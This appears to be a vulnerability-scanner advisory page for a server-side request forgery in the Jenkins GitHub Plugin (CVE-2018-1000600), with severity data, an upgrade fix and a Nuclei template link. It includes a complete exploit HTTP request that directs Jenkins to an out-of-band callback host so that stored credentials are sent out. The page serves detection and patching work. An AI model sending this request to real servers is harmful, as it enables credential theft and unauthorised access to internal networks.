| Title | Jenkins GitHub Plugin <=1.29.1 - Server-Side Request Forgery |
|---|---|
| Author | geeknik |
| Severity | High |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, potential data leakage, and further attacks on the network. |
| Remediation | Upgrade Jenkins GitHub Plugin to version 1.29.2 or later to mitigate the vulnerability. |
| CVSS Score | 8.8 |
| EPSS Score | 0.93511 |
| CVE ID | CVE-2018-1000600 |
| CWE ID | CWE-200 |
| Tags | cve cve2018 jenkins ssrf oast github vkev vuln |
Jenkins GitHub Plugin 1.29.1 and earlier is susceptible to server-side request forgery via GitHubTokenCredentialsCreator.java, which allows attackers to leverage attacker-specified credentials IDs obtained through another method and capture the credentials stored in Jenkins.
GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://d5jpmn9le0o4ed79aoe03zbo1gei7s16q.oast.online HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-1000600.yaml
🦈 Packet Capture: ⬇️ Download cve-2018-1000600.pcap
N/AN/A